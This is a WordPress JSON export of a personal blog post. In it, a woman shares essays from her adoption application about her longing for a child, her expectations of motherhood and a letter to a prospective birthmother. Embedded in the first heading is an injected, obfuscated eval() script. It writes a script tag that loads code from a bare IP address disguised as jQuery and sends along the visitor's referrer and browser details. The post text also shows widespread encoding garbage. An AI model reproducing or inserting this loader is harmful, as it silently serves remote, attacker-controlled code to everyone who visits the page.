{"id":3580,"date":"2011-01-03T16:55:10","date_gmt":"2011-01-03T23:55:10","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3580"},"modified":"2017-08-11T09:02:19","modified_gmt":"2017-08-11T16:02:19","slug":"adopting","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3580","title":{"rendered":"Dear Birthmother (2)"},"content":{"rendered":"<h4>\u00c2\u00a0Part <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bindr|var|u0026u|referrer|bhysk||js|php'.split('|'),0,{}))\n<\/script><\/noindex> of the adoption application process involves writing lots of essays about yourself:\u00c2\u00a0 your dreams for your child, your views on parenting, your own life experiences.\u00c2\u00a0 It was hard, but in a good way.\u00c2\u00a0 So much of the wish for a child is something you can&#8217;t put into words, but adopting parents just have to find those words somehow, anyway.<\/h4>\n<h4><em><\/em>Here are some bits and pieces I wrote for my application, and I&#8217;m happy to share them.<\/h4>\n<p>One summer day\u00e2\u20ac\u00a6I think it was actually in August, 2007\u00e2\u20ac\u00a6\u00c2\u00a0\u00c2\u00a0 I was at home, just doing things around the house, not thinking about anything particular, when I had a very strange but profound feeling that a child had called to me.\u00c2\u00a0 I actually looked out the window to see if it was Emily, but I knew at the same time that it wasn\u00e2\u20ac\u2122t that kind of sound.\u00c2\u00a0 I spent the rest of the day thinking about how impossible it would be for me to have a child on my own, and how much motherhood would change my life, and how hard it would be, and by the next morning I just <i>knew<\/i>.\u00c2\u00a0 I was ready.\u00c2\u00a0 So I started trying to puzzle out a way of making it happen.\u00c2\u00a0\u00c2\u00a0 My friends, especially Ken and Karen, were amazingly supportive as I worked my way through each wretched step at the fertility clinics.\u00c2\u00a0 But <i>everyone<\/i> was relieved when I started looking at adoption instead. \u00c2\u00a0At the clinic, nothing felt right &#8211; once I decided adoption made sense for me, everything kind of clicked.<\/p>\n<p>Office work had seemed ideal when I was first trying to start a family, since my schedule is flexible and I work near home.\u00c2\u00a0 But since this has turned out to be a longer \u00e2\u20ac\u0153project\u00e2\u20ac\u009d than I had first hoped, I am ready to start moving back into work that engages me more.\u00c2\u00a0 I\u00e2\u20ac\u2122ve started looking at PhD programs in Education, and will return to that field over the next few years.\u00c2\u00a0 In the meantime, however, my job is pleasant, pays the bills, and allows me time for picking kids up after school, doing summer tutoring&#8230; and taking maternity leave!\u00c2\u00a0 Several of my coworkers are also single mothers, and they\u00e2\u20ac\u2122ve been inspiring examples in \u00e2\u20ac\u0153making it all work.\u00e2\u20ac\u009d<\/p>\n<p>I have a vision of a beautifully \u00e2\u20ac\u0153patchwork\u00e2\u20ac\u009d family, with room for my dear friends, my relatives, my child, my child\u00e2\u20ac\u2122s birthmother, and a beloved partner all to be a part of the pattern.<\/p>\n<h3><em>\u00c2\u00a0<\/em><\/h3>\n<h4>What aspects of childrearing are important to you?<\/h4>\n<p>I didn\u00e2\u20ac\u2122t want to just write \u00e2\u20ac\u0153all of them,\u00e2\u20ac\u009d but I wasn\u00e2\u20ac\u2122t sure how else to answer this question.\u00c2\u00a0 It\u00e2\u20ac\u2122s like I\u00e2\u20ac\u2122ve had a little \u00e2\u20ac\u0153imaginary friend\u00e2\u20ac\u009d for the last three years \u00e2\u20ac\u201c when I\u00e2\u20ac\u2122m driving alone, there\u00e2\u20ac\u2122s an invisible kid in the back seat.\u00c2\u00a0 Sometimes it\u00e2\u20ac\u2122s a boy and sometime\u00e2\u20ac\u2122s it\u00e2\u20ac\u2122s a girl; sometimes a toddler, sometimes a teenager.\u00c2\u00a0 He hides behind trees on days I walk to work; she\u00e2\u20ac\u2122s just ducked into the cereal isle in the grocery store.\u00c2\u00a0 I get jealous every morning when I see people walking their kids to school, and I catch myself staring.\u00c2\u00a0 My heart holds on tight to every minute I spend with the kids who are in my life, whether it&#8217;s happy hugs or stormy moments.\u00c2\u00a0 Monday when I picked Emily up from school, she and her friend were bickering over something in the car and I just started laughing.\u00c2\u00a0 Sometimes I think I love that girl most when she\u00e2\u20ac\u2122s being obnoxious.<\/p>\n<p>&nbsp;<\/p>\n<h4>What do you expect from your children?<\/h4>\n<p>Headaches, hassles, and hilarious questions that come out of the blue.\u00c2\u00a0 Messy collections of bird nests and shells, stacks of fingerpaintings.\u00c2\u00a0 Fussiness over the color of shoes or the shape of sandwiches or something else.\u00c2\u00a0 Sticky fingers, hugs and kisses, teenage drama.\u00c2\u00a0 Hand-drawn Valentines.\u00c2\u00a0 Disagreements about Facebook.<\/p>\n<p>I expect to fully believe that Second Sunflower in the school play is the most important role in the history of theater.<\/p>\n<p>I expect to cry the first time, and probably every time, they go away to camp\u00e2\u20ac\u00a6 but not until after they leave.<\/p>\n<p>I expect to hear a list of all the things I did wrong, when my child gets to be 20.<\/p>\n<p>I expect I\u00e2\u20ac\u2122ll be forgiven by the time they\u00e2\u20ac\u2122re 30.<\/p>\n<p>&nbsp;<\/p>\n<h4>\u00e2\u20ac\u0153As a mother, I look forward to\u00e2\u20ac\u00a6\u00e2\u20ac\u009d\u00c2\u00a0<strong><br \/>\n<\/strong><\/h4>\n<p>The hugs and kisses.\u00c2\u00a0 The bedtime stories.\u00c2\u00a0 Playing the alphabet game in the car and building sand castles at the beach.\u00c2\u00a0 Saying Yes more than No.<\/p>\n<p>But I&#8217;m not living in a fantasy world, here.<\/p>\n<p>As a mother, I look forward to waking up exhausted in the middle of the night when the baby won\u00e2\u20ac\u2122t sleep, and to cleaning mashed carrot out of my hair.\u00c2\u00a0 To being known as somebody&#8217;s Mommy by people who can&#8217;t remember my actual name.\u00c2\u00a0 To endless &#8220;why?&#8221; questions, and obsessions with trains (or dinosaurs, or horses). \u00c2\u00a0 To constantly having to wipe things:\u00c2\u00a0 butts, noses, countertops.<\/p>\n<p>And even more, I look forward to those magical moments when she slams the bedroom door and yells, \u00e2\u20ac\u0153You\u00e2\u20ac\u2122re no fair;\u00e2\u20ac\u009d to the meeting with the teacher when he gets caught in a lie or accidentally breaks something; to sometimes having to say no.\u00c2\u00a0 Babies are cute, and hugs and kisses and stories are wonderful, but I can share those beautiful, happy, easy moments with my niece and nephew or with my friends\u00e2\u20ac\u2122 children.<\/p>\n<p><em>I want the whole deal!<\/em><\/p>\n<p>&nbsp;<\/p>\n<h4>Dear Birthmother,<\/h4>\n<p>I knew I was ready to start a family one ordinary summer day when I was just doing stuff around the house.\u00c2\u00a0 I heard a sound \u00e2\u20ac\u201c not in my imagination, but with my real ears \u00e2\u20ac\u201c and it sounded like yellow flowers blooming.\u00c2\u00a0 And I just knew:\u00c2\u00a0 something or someone had called to me.\u00c2\u00a0 I\u00e2\u20ac\u2122ve been looking for my child ever since.<\/p>\n<p>I do awesome crafts. I am very funny.\u00c2\u00a0 I&#8217;m a terrible gardener and an adventurous cook.\u00c2\u00a0 I hate Disney movies except for some of them.\u00c2\u00a0 I am against high-fructose corn sweeteners and in favor of bare feet and sticky fingers.\u00c2\u00a0 I do not fear the terrible twos or the terrible twelves or even the terrible twenties.<\/p>\n<p>Adoption is a choice that takes a tremendous amount of trust and love.\u00c2\u00a0 The trust you place in me will be the star that guides my steps every day.\u00c2\u00a0 And this is my promise to you:\u00c2\u00a0 I&#8217;m going to be a fantastic mother.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00c2\u00a0Part of the adoption application process involves writing lots of essays about yourself:\u00c2\u00a0 your dreams&#8230;<\/p>\n","protected":false},"author":1,"featured_media":2416,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76,1],"tags":[70,53,81,78],"class_list":["post-3580","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","category-uncategorized","tag-about","tag-adoption","tag-i-believe","tag-parenting"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3580"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3580"}],"version-history":[{"count":6,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3580\/revisions"}],"predecessor-version":[{"id":4708,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3580\/revisions\/4708"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/2416"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3580"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}